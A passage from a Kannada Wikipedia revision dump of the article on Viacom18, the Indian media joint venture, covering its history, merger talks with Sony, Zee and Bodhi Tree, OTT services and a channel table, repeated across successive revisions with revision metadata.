ಗುಜರಾತಿ]] |2002 | rowspan="2" |[[Gujarati language|ಗುಜರಾತಿ]] |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |ಹಿಂದೆ ETV ಗುಜರಾತಿ ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[Colors Gujarati Cinema|ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ]] |2019 |ಚಲನಚಿತ್ರಗಳು | |- |[[Colors Marathi|ಕಲರ್ಸ್ ಮರಾಠಿ]] |2000 |[[Marathi language|ಮರಾಠಿ]] | rowspan="4" |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD |ಹಿಂದೆ ಈಟಿವಿ ಮರಾಠಿ ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[Colors Odia|ಕಲರ್ಸ್ ಒಡಿಯಾ]] |2002 |[[Odia language|ಒಡಿಯಾ]] |SD |ಹಿಂದೆ [[ವಿಯಾಕಾಂ 18|ETV ಒಡಿಯಾ]] ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[Colors Kannada|ಕಲರ್ಸ್ ಕನ್ನಡ]] |2000 | rowspan="3" |[[Kannada|ಕನ್ನಡ]] |SD+HD |ಹಿಂದೆ [[ಕಲರ್ಸ್ ಕನ್ನಡ|ಈಟಿವಿ ಕನ್ನಡ]] ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[Colors Super|ಕಲರ್ಸ್ ಸೂಪರ್]] |2016 | rowspan="2" |SD | |- |[[Colors Kannada Cinema|ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ]] |2018 |ಚಲನಚಿತ್ರಗಳು | |- |[[Colors Tamil|ಕಲರ್ಸ್ ತಮಿಳು]] |2018 |[[Tamil language|ತಮಿಳು]] |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD | |} == <span id=".E0.B2.89.E0.B2.B2.E0.B3.8D.E0.B2.B2.E0.B3.87.E0.B2.96.E0.B2.97.E0.B2.B3.E0.B3.81"></span><span class="mw-headline" id="ಉಲ್ಲೇಖಗಳು">ಉಲ್ಲೇಖಗಳು</span> == <style data-mw-deduplicate="TemplateStyles:r1033442">.mw-parser-output .reflist{font-size:90%;margin-bottom:0.5em;list-style-type:decimal}.mw-parser-output .reflist .references{font-size:100%;margin-bottom:0;list-style-type:inherit}.mw-parser-output .reflist-columns-2{column-width:30em}.mw-parser-output .reflist-columns-3{column-width:25em}.mw-parser-output .reflist-columns{margin-top:0.3em}.mw-parser-output .reflist-columns ol{margin-top:0}.mw-parser-output .reflist-columns li{page-break-inside:avoid;break-inside:avoid-column}.mw-parser-output .reflist-upper-alpha{list-style-type:upper-alpha}.mw-parser-output .reflist-upper-roman{list-style-type:upper-roman}.mw-parser-output .reflist-lower-alpha{list-style-type:lower-alpha}.mw-parser-output .reflist-lower-greek{list-style-type:lower-greek}.mw-parser-output .reflist-lower-roman{list-style-type:lower-roman}</style><div class="reflist"></div> == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [http://www.viacom18.com ಅಧಿಕೃತ ಸೈಟ್] os2x49d5mms37phy80o0x9si71gue9c 1116511 1116510 2022-08-23T15:43:55Z Ishqyk 76644 wikitext text/x-wiki '''ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್''' [[ಮುಂಬಯಿ.|ಮುಂಬೈ]] ಮೂಲದ ಟಿವಿ18 ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ನಡುವಿನ ಭಾರತೀಯ ಮಾಧ್ಯಮ ಮತ್ತು ಮನರಂಜನಾ ಜಂಟಿ ಉದ್ಯಮವಾಗಿದೆ . <ref>{{Cite web|url=http://www.rapidtvnews.com/index.php/2011061512860/corporate-restructure-complete-for-indias-network18.html|title=Corporate restructure complete for India's Network18|publisher=rapidtvnews.com|access-date=10 August 2017}}</ref> ಇದನ್ನು 2007 ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು ಮತ್ತು ಭಾರತದಲ್ಲಿ ವಿವಿಧ ಚಾನೆಲ್‌ಗಳು ಮತ್ತು ಕಂಟೆಂಟ್ ಪ್ರೊಡಕ್ಷನ್ ಸ್ಟುಡಿಯೋಗಳನ್ನು ಹೊಂದಿದೆ. {{Infobox company | name = ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್ | logo = Viacom 18.svg | type = ಜಂಟಿ ಉದ್ಯಮ | industry = [[ದೂರದರ್ಶನ]] | foundation = 2007 ನವೆಂಬರ್ | location = [[ವೈಲ್ ಪಾರ್ಲೆ]], [[ಮುಂಬೈ]], [[ಮಹಾರಾಷ್ಟ್ರ]], ಭಾರತ<ref>{{Cite web|url=http://www.viacom18.com/contact.html |title=Viacom18 Media Pvt. Ltd |publisher=Viacom18.com |access-date=27 July 2018|url-status=dead |archive-url=https://web.archive.org/web/20111023065128/http://www.viacom18.com/contact.html |archive-date=23 October 2018 }}</ref> | key_people = ಜ್ಯೋತಿ ದೇಶಪಾಂಡೆ (ಸಿ ಈ ಓ) | owners = ನೆಟ್ವರ್ಕ್18 ಗುಂಪು (51%)<br />[[ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA1]] (49%) | subsid = | homepage = {{URL|https://www.viacom18.com/|ವಿಯಾಕಾಂ 18. ಕೋಂ}} }} == ಇತಿಹಾಸ == ಜನವರಿ 2010 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ ಕಲರ್ಸ್‌ನ ಪ್ರಾರಂಭದೊಂದಿಗೆ ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಟ್ಟಕ್ಕೆ ಏರಿತು. ಚಾನಲ್ ಅನ್ನು ಆಪ್ಕಾ ಕಲರ್ಸ್ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಜುಲೈ 2010 ರಲ್ಲಿ, ಇದು ಸನ್ ನೆಟ್‌ವರ್ಕ್‌ನೊಂದಿಗೆ 50/50 ವಿತರಣಾ ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ಸನ್ <ref>{{Cite web|url=http://business.outlookindia.com/article.aspx?270571|title=Beefing Up The Bouquet|publisher=business.outlookindia.com|access-date=10 August 2018}}</ref> ಅನ್ನು ರಚಿಸಿತು. ಡಿಸೆಂಬರ್ 2011 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುವ ವಯಸ್ಕರನ್ನು ಗುರಿಯಾಗಿಸಿಕೊಂಡು Nickelodeon Sonic ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು. <ref>{{Cite web|url=http://www.indiainfoline.com/Markets/News/Viacom18-launches-its-new-channel-sonic-in-India/5303665136|title=Viacom18 launches its new channel 'Sonic Nickelodeon' in India|date=5 December 2018|publisher=[[India Infoline]]|access-date=26 December 2018}}</ref> ಜನವರಿ 2014 ರಲ್ಲಿ, ಟಿವಿ 18, ಈ ಟಿವಿ ಬ್ರಾಂಡ್ ಹೆಸರನ್ನು ಬಳಸಲು ಅನುಮತಿಯೊಂದಿಗೆ, ₹2,053 ಕೋಟಿಗೆ ಈ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನ [[ತೆಲುಗು]] ಭಾಷೆಯೇತರ ಟಿವಿ ಸ್ವತ್ತುಗಳನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು. <ref>[http://economictimes.indiatimes.com/industry/media/entertainment/media/network18-finishes-rs-2053-cr-deal-to-acquire-etv-stakes/articleshow/29215772.cms Network18 finishes Rs 2,053-cr deal to acquire ETV stakes]</ref> ಮಾರ್ಚ್ 2015 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಎಲ್ಲಾ ಐದು [[ತೆಲುಗು]] ಅಲ್ಲದ ಈಟಿವಿ ಪ್ರಾದೇಶಿಕ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್‌ಗಳನ್ನು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲು ನಿರ್ಧರಿಸಿತು. ಈಟಿವಿ ಮರಾಠಿ, ಈಟಿವಿ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ|ETV ಕನ್ನಡ]], ಈಟಿವಿ ಬಾಂಗ್ಲಾ ಮತ್ತು ಈಟಿವಿ ಒಡಿಯಾವನ್ನು ಕ್ರಮವಾಗಿ ಕಲರ್ಸ್ ಮರಾಠಿ, ಕಲರ್ಸ್ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ]], ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಮತ್ತು ಕಲರ್ಸ್ ಒಡಿಯಾ ಎಂದು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲಾಯಿತು. <ref>{{Cite web|url=http://www.bestmediainfo.com/2015/03/viacom18-extends-colors-franchise-with-5-new-regional-avatars|title=ETV re-branding to Colors|access-date=4 March 2015}}</ref> ಕಂಪನಿಯು ವಯಾಕಾಮ್ 18 ಸ್ಟುಡಿಯೋಸ್ ಅನ್ನು ಸಹ ಹೊಂದಿದೆ. 31 ಜನವರಿ 2018 ರಂದು, ಟಿವಿ18 ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ವಿಯಾಕಾಂ ನ ಬಹುಮತವನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳುವುದಾಗಿ ಘೋಷಿಸಿತು, ಕಾರ್ಯಾಚರಣೆಯ ನಿಯಂತ್ರಣವನ್ನು ತೆಗೆದುಕೊಳ್ಳುತ್ತದೆ ಮತ್ತು ವಿಯಾಕಾಂ ಅನ್ನು ಅಲ್ಪಸಂಖ್ಯಾತರ ಹಿತಾಸಕ್ತಿಯೊಂದಿಗೆ ಬಿಟ್ಟಿತು. <ref>{{Cite web|url=https://www.viacom18.com/media/tv18-to-increase-stake-to-51-percentage-in-viacom18-the-jv-withviacom-inc|title=TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc|date=31 January 2018|website=Viacom18|access-date=31 January 2018}}</ref> 1 ಅಕ್ಟೋಬರ್ 2019 ರಂದು, ವಿಯಾಕಾಂ 18 ಆಸ್ಟ್ರೋ ಮಲೇಷಿಯಾದಲ್ಲಿ [[ಮಲೇಶಿಯ|ಮಲೇಷ್ಯಾದಲ್ಲಿ]] ಕಲರ್ಸ್ HD ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು; ಪ್ರತಿ ಧಾರಾವಾಹಿಯನ್ನು ಮಲಯ ಮತ್ತು ಇಂಗ್ಲಿಷ್ ಉಪಶೀರ್ಷಿಕೆಗಳೊಂದಿಗೆ ನೀಡಲಾಗುತ್ತದೆ.{{Fact|date=November 2019}} ತೀರಾ ಇತ್ತೀಚೆಗೆ, ಕಂಪನಿಯು ತಮ್ಮ ಸ್ವಂತ ನೆಟ್‌ವರ್ಕ್‌ಗಳಿಗೆ ಲೈವ್ NBA ಆಟಗಳನ್ನು ತಲುಪಿಸುವ ಸಲುವಾಗಿ ರಾಷ್ಟ್ರೀಯ ಬ್ಯಾಸ್ಕೆಟ್‌ಬಾಲ್ ಅಸೋಸಿಯೇಷನ್‌ನೊಂದಿಗೆ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದೆ. <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/viacom18-inks-three-year-media-rights-deal-with-nba-117167.html|title=Viacom18 inks three-year media rights deal with NBA - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2021-12-04}}</ref> == ವಿಲೀನ ಪ್ರಯತ್ನಗಳು == === ಸೋನಿ ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2020 ರಲ್ಲಿ, [[ಸೋನಿ|Sony]] ನ ಭಾರತೀಯ ಘಟಕ Sony Pictures Networks India Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿದೆ, ಮಾತುಕತೆಗಳು ಬಹಳ ನಂತರ ಮುಂದುವರೆದವು. ವಿಲೀನವು ಯಶಸ್ವಿಯಾದರೆ, ವಿಲೀನಗೊಂಡ ಕಂಪನಿಯಲ್ಲಿ ಸೋನಿ 74% ಷೇರುದಾರರಾಗಿರುತ್ತಾರೆ. <ref>{{Cite web|url=https://www.nationalheraldindia.com/national/sony-to-own-74-after-merger-with-viacom-18-to-battle-disney-star|title=Sony to own 74% after merger with Viacom 18, to battle Disney Star|last=IANS|date=2020-07-21|website=National Herald|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ ಅಕ್ಟೋಬರ್ 2020 ರಲ್ಲಿ, Viacom18 ನಲ್ಲಿ ಬಹುಪಾಲು ಷೇರು <ref>{{Cite web|url=https://timesofindia.indiatimes.com/business/india-business/reliance-industries-calls-off-merger-of-viacom18-with-sony/articleshow/78493163.cms|title=Reliance Industries calls off merger of Viacom18 with Sony - Times of India|date=Oct 5, 2020|website=The Times of India|language=en|access-date=2022-01-27}}</ref> ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ವಿಲೀನವನ್ನು ರದ್ದುಗೊಳಿಸಿತು. <ref>{{Cite web|url=https://www.livemint.com/industry/media/sony-viacom18-merger-called-off-11601888757116.html|title=Sony's slated merger with Viacom18 now called off|last=Jha|first=Lata|date=2020-10-05|website=mint|language=en|access-date=2022-01-27}}</ref> <ref>{{Cite web|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/post-rethink-ril-calls-off-merger-of-viacom18-sony/articleshow/78483506.cms|title=Jio {{!}} Mukesh Ambani: With Jio in mind, Mukesh Ambani's RIL calls off merger of Viacom18, Sony|website=The Economic Times|access-date=2022-01-27}}</ref> === Zee ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2021 ರಲ್ಲಿ, <ref>{{Cite web|url=https://www.livemint.com/companies/news/viacom18-and-zee-entertainment-in-early-merger-talks-11624212805434.html|title=Viacom18 and Zee Entertainment in early merger talks|last=Laskar|first=Anirudh|date=2021-06-20|website=mint|language=en|access-date=2022-01-27}}</ref> ವರದಿಗಳು Viacom18 ಮತ್ತು Zee ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಎಂಟರ್‌ಪ್ರೈಸಸ್ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿವೆ ಎಂದು ವರದಿ ಮಾಡಿದೆ. <ref>{{Cite web|url=https://www.indiantelevision.com/television/tv-channels/gecs/viacom18-and-zeel-eyeing-a-merger-210621|title=Viacom18 and Zeel eyeing a merger?|date=2021-06-21|website=Indian Television Dot Com|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ, Viacom18 ನೊಂದಿಗೆ ಸಂಭಾವ್ಯ ವಿಲೀನದ ಕುರಿತು ಯಾವುದೇ ಮಾತುಕತೆಗಳನ್ನು Zee ನಿರಾಕರಿಸಿತು, <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/zeel-denies-any-potential-merger-deal-with-viacom18-113705.html|title=ZEEL denies any potential merger deal with Viacom18 - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2022-01-27}}</ref> ನಂತರ Sony Pictures Networks India ನೊಂದಿಗೆ ಮಾತುಕತೆಗಳನ್ನು ಪ್ರವೇಶಿಸಿತು, ಇದು ಮೊದಲು Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಬಗ್ಗೆ ಮಾತುಕತೆ ನಡೆಸಿತು. <ref>{{Cite web|url=https://www.financialexpress.com/industry/zeel-starts-due-diligence-process-for-merger-with-sony-pictures-networks/2352817/|title=ZEEL starts due diligence process for merger with Sony Pictures Networks|website=The Financial Express|language=en|access-date=2022-01-27}}</ref> === ಲೂಪಾ ಇಂಡಿಯಾದೊಂದಿಗೆ ವಿಲೀನ === ಜನವರಿ 2022 ರಲ್ಲಿ, ಉದಯ್ ಶಂಕರ್ ಮತ್ತು ಜೇಮ್ಸ್ ಮುರ್ಡೋಕ್ ಸ್ಥಾಪಿಸಿದ ಹೂಡಿಕೆ ಕಂಪನಿಯಾದ ಲುಪಾ ಇಂಡಿಯಾ, Viacom18 ನಲ್ಲಿ 39% ಪಾಲನ್ನು ಪಡೆಯುವ ಅಂತಿಮ ಹಂತದಲ್ಲಿದೆ ಎಂದು ವರದಿಗಳು ಬಂದವು. <ref>{{Cite news|url=https://www.business-standard.com/article/companies/uday-shankar-james-murdoch-firm-to-pick-up-39-stake-in-viacom-18-122012700024_1.html|title=Uday Shankar, James Murdoch firm to pick up 39% stake in Viacom 18|last=Gupta|first=Surajeet Das|date=2022-01-27|work=Business Standard India|access-date=2022-01-27}}</ref> ಆ ಮೂಲಕ ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ಅನ್ನು ಕಂಪನಿಯಲ್ಲಿ 10% ಪಾಲನ್ನು ಹೊಂದಿರುವ ಅಲ್ಪಸಂಖ್ಯಾತ ಷೇರುದಾರರನ್ನಾಗಿ ಪರಿವರ್ತಿಸುತ್ತದೆ. <ref>{{Cite news|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/uday-shankar-james-murdoch-plan-to-pick-up-nearly-40-in-viacom18-reliance-to-retain-majority-stake/articleshow/89127603.cms|title=Uday Shankar, James Murdoch plan to pick up nearly 40% in Viacom18, Reliance to retain majority stake|last=Laghate|first=Gaurav|work=The Economic Times|access-date=2022-01-27}}</ref> ಬದಲಾಗಿ, Viacom18 ಮತ್ತು ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ಅಂತಿಮವಾಗಿ ಲುಪಾ ಸಿಸ್ಟಮ್ಸ್ ಒಡೆತನದ ಕಂಪನಿಯಾದ ಬೋಧಿ ಟ್ರೀ ಸಿಸ್ಟಮ್ಸ್ ಜೊತೆಗೆ ದೈತ್ಯ ಸ್ಟ್ರೀಮಿಂಗ್ ಮತ್ತು ಟಿವಿ ಕಂಪನಿಯನ್ನು ರೂಪಿಸಲು ಪಾಲುದಾರಿಕೆ ಮಾಡಿಕೊಂಡವು. ಬೋಧಿ ಟ್ರೀ ವಯಾಕಾಮ್ 18 ನಲ್ಲಿ USD$1.8 ಶತಕೋಟಿ ಹೂಡಿಕೆ ಮಾಡಲು ಯೋಜಿಸಿದೆ, ರಿಲಯನ್ಸ್ USD$216 ಮಿಲಿಯನ್ ಹೂಡಿಕೆ ಮಾಡುತ್ತಿದೆ ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ Viacom18 ನಲ್ಲಿ ಷೇರುದಾರರಾಗಿ ಮುಂದುವರಿಯುತ್ತದೆ; JioCinema ಅನ್ನು Viacom18 ಗೆ ವರ್ಗಾಯಿಸಲಾಗುತ್ತದೆ. ಒಪ್ಪಂದವು ಅಕ್ಟೋಬರ್ 2022 ರೊಳಗೆ ಮುಕ್ತಾಯಗೊಳ್ಳುವ ನಿರೀಕ್ಷೆಯಿದೆ, ನಿಯಂತ್ರಕ ಅನುಮೋದನೆಗೆ ಬಾಕಿಯಿದೆ. <ref>{{Cite web|url=https://variety.com/2022/tv/asia/james-murdoch-bodhi-tree-reliance-viacom18-2-billion-deal-1235242692/|title=James Murdoch's Bodhi Tree, Reliance, Viacom18 Strike $2 Billion Deal to Create Giant Indian TV and Streaming Company|last=Ramachandran|first=Naman|date=27 April 2022|website=[[Variety (magazine)|Variety]]|access-date=20 May 2022}}</ref> == ಮೇಲ್ಭಾಗದಲ್ಲಿ (OTT) == * ವೋಟ್ * ಪ್ಯಾರಾಮೌಂಟ್+ (ಭಾರತದಲ್ಲಿ 2023 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಗಲಿದೆ) <ref>{{Cite news|url=https://www.thehindu.com/entertainment/movies/paramount-announces-2023-india-launch-in-partnership-with-viacom18/article65384315.ece|title=Paramount+ announces 2023 India launch in partnership with Viacom18|date=2022-05-05|work=The Hindu|access-date=2022-06-14|others=PTI|language=en-IN|issn=0971-751X}}</ref> == ಸಹ ನೋಡಿ == * ಪ್ಯಾರಾಮೌಂಟ್ ಇಂಟರ್ನ್ಯಾಷನಲ್ ನೆಟ್ವರ್ಕ್ಸ್ ** ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA * Network18 ಗುಂಪು == ಚಾನಲ್‌ಗಳು ಮತ್ತು ವೇದಿಕೆಗಳು == === ಪ್ರಸಾರ ವಾಹಿನಿಗಳು === ಟಿವಿ 18 ನಿಂದ ಲಭ್ಯವಿರುವ ವಿತರಣಾ ಚಾನಲ್‌ಗಳು ಈ ಕೆಳಗಿನಂತಿವೆ: <ref>{{Cite web|url=https://www.viacom18.com/onair/|title=Our Channels - On Air|website=viacom18.com}}</ref> {| class="wikitable sortable" style="text-align:middle;" ! style="width:180pt; background:White;" |ಚಾನಲ್ ! style="width:180pt; background:Violet;" |ಪ್ರಾರಂಭಿಸಲಾಗಿದೆ ! style="width:180pt; background:White;" |ಭಾಷೆ ! style="width:300pt; background:Violet;" |ವರ್ಗ ! style="width:180pt; background:White;" |SD/HD ಲಭ್ಯತೆ ! style="width:300pt; background:Violet;" |ಟಿಪ್ಪಣಿಗಳು |- |ಕಲರ್ಸ್ ಟಿವಿ |2008 | rowspan="8" |[[Hindi|ಹಿಂದಿ]] | rowspan="2" |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD | |- |ಕಲರ್ಸ್ ರಿಷ್ಟೆ |2014 |SD | |- |ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ |2016 | rowspan="3" |ಚಲನಚಿತ್ರಗಳು |SD+HD | |- |ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್ |2021 | rowspan="2" |SD | |- |ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್‌ಹಿಟ್ಸ್ |2022 | |- |ಎಂಟಿವಿ |1996 |ಯುವ ಜನ | rowspan="2" |SD+HD | |- |ಎಂಟಿವಿ ಬೀಟ್ಸ್ |2014 |ಸಂಗೀತ | |- |[[Sports18|ಸ್ಪೋರ್ಟ್ಸ್ 18 ಖೇಲ್]] |2022 |ಕ್ರೀಡೆ |SD | |- |[[Colors Infinity|ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ]] |2015 | rowspan="4" |[[English language|ಆಂಗ್ಲ]] | rowspan="2" |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ | rowspan="4" |SD+HD | |- |[[Comedy Central (Indian TV channel)|ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್]] |2012 | |- |[[VH1 India|ವಿ ಯೆಚ್ 1]] |2005 |ಸಂಗೀತ | |- |[[Sports18|ಸ್ಪೋರ್ಟ್ಸ್ 18 1]] |2022 |ಕ್ರೀಡೆ | |- |[[Nickelodeon (Indian TV channel)|ನಿಕೆಲೋಡಿಯನ್]] |1999 | rowspan="2" |[[ಹಿಂದಿ]]<br /> [[ತಮಿಳು]]<br /> [[ತೆಲುಗು]]<br /> [[ಮಲಯಾಳಂ]]<br />[[ಬಂಗಾಳಿ ಭಾಷೆ|ಬೆಂಗಾಲಿ]] [[ಮರಾಠಿ]] [[ಗುಜರಾತಿ ಭಾಷೆ|ಗುಜರಾತಿ]][[ಕನ್ನಡ]] | rowspan="4" |ಮಕ್ಕಳು | rowspan="3" |SD | |- |[[Nickelodeon Sonic|ನಿಕೆಲೋಡಿಯನ್ ಸೋನಿಕ್]] |2011 | |- |[[Nick Jr. (India)|ನಿಕ್ ಜೂನಿಯರ್]] |2012 | rowspan="2" |[[ಹಿಂದಿ]]<br /><br /><br /><br /> [[ಆಂಗ್ಲ]] | |- |[[Nick HD+|ನಿಕ್ HD+]] |2015 |ಎಚ್.ಡಿ | |- |[[Colors Bangla|ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ]] |2000 | rowspan="2" |[[Bengali language|ಬೆಂಗಾಲಿ]] |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD |ಹಿಂದೆ ಈಟಿವಿ ಬಾಂಗ್ಲಾ ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[Colors Bangla Cinema|ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ]] |2019 |ಚಲನಚಿತ್ರಗಳು | rowspan="3" |SD | |- |[[Colors Gujarati|ಕಲರ್ಸ್ ಗುಜರಾತಿ]] |2002 | rowspan="2" |[[Gujarati language|ಗುಜರಾತಿ]] |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |ಹಿಂದೆ ETV ಗುಜರಾತಿ ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[Colors Gujarati Cinema|ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ]] |2019 |ಚಲನಚಿತ್ರಗಳು | |- |[[Colors Marathi|ಕಲರ್ಸ್ ಮರಾಠಿ]] |2000 |[[Marathi language|ಮರಾಠಿ]] | rowspan="4" |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD |ಹಿಂದೆ ಈಟಿವಿ ಮರಾಠಿ ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[Colors Odia|ಕಲರ್ಸ್ ಒಡಿಯಾ]] |2002 |[[Odia language|ಒಡಿಯಾ]] |SD |ಹಿಂದೆ [[ವಿಯಾಕಾಂ 18|ETV ಒಡಿಯಾ]] ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[ಕಲರ್ಸ್ ಕನ್ನಡ]] |2000 | rowspan="3" |[[Kannada|ಕನ್ನಡ]] |SD+HD |ಹಿಂದೆ [[ಕಲರ್ಸ್ ಕನ್ನಡ|ಈಟಿವಿ ಕನ್ನಡ]] ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[ಕಲರ್ಸ್ ಸೂಪರ್]] |2016 | rowspan="2" |SD | |- |[[ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನೆಮಾ|ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ]] |2018 |ಚಲನಚಿತ್ರಗಳು | |- |[[Colors Tamil|ಕಲರ್ಸ್ ತಮಿಳು]] |2018 |[[Tamil language|ತಮಿಳು]] |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD | |} == <span id=".E0.B2.89.E0.B2.B2.E0.B3.8D.E0.B2.B2.E0.B3.87.E0.B2.96.E0.B2.97.E0.B2.B3.E0.B3.81"></span><span class="mw-headline" id="ಉಲ್ಲೇಖಗಳು">ಉಲ್ಲೇಖಗಳು</span> == <style data-mw-deduplicate="TemplateStyles:r1033442">.mw-parser-output .reflist{font-size:90%;margin-bottom:0.5em;list-style-type:decimal}.mw-parser-output .reflist .references{font-size:100%;margin-bottom:0;list-style-type:inherit}.mw-parser-output .reflist-columns-2{column-width:30em}.mw-parser-output .reflist-columns-3{column-width:25em}.mw-parser-output .reflist-columns{margin-top:0.3em}.mw-parser-output .reflist-columns ol{margin-top:0}.mw-parser-output .reflist-columns li{page-break-inside:avoid;break-inside:avoid-column}.mw-parser-output .reflist-upper-alpha{list-style-type:upper-alpha}.mw-parser-output .reflist-upper-roman{list-style-type:upper-roman}.mw-parser-output .reflist-lower-alpha{list-style-type:lower-alpha}.mw-parser-output .reflist-lower-greek{list-style-type:lower-greek}.mw-parser-output .reflist-lower-roman{list-style-type:lower-roman}</style><div class="reflist"></div> == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [http://www.viacom18.com ಅಧಿಕೃತ ಸೈಟ್] f29kbq0dihmqcc1az86ghykpoecnmu3 1116592 1116511 2022-08-24T08:09:00Z Ishqyk 76644 wikitext text/x-wiki '''ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್''' [[ಮುಂಬಯಿ.|ಮುಂಬೈ]] ಮೂಲದ ಟಿವಿ18 ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ನಡುವಿನ ಭಾರತೀಯ ಮಾಧ್ಯಮ ಮತ್ತು ಮನರಂಜನಾ ಜಂಟಿ ಉದ್ಯಮವಾಗಿದೆ . <ref>{{Cite web|url=http://www.rapidtvnews.com/index.php/2011061512860/corporate-restructure-complete-for-indias-network18.html|title=Corporate restructure complete for India's Network18|publisher=rapidtvnews.com|access-date=10 August 2017}}</ref> ಇದನ್ನು 2007 ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು ಮತ್ತು ಭಾರತದಲ್ಲಿ ವಿವಿಧ ಚಾನೆಲ್‌ಗಳು ಮತ್ತು ಕಂಟೆಂಟ್ ಪ್ರೊಡಕ್ಷನ್ ಸ್ಟುಡಿಯೋಗಳನ್ನು ಹೊಂದಿದೆ. {{Infobox company | name = ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್ | logo = Viacom 18.svg | type = ಜಂಟಿ ಉದ್ಯಮ | industry = [[ದೂರದರ್ಶನ]] | foundation = 2007 ನವೆಂಬರ್ | location = [[ವೈಲ್ ಪಾರ್ಲೆ]], 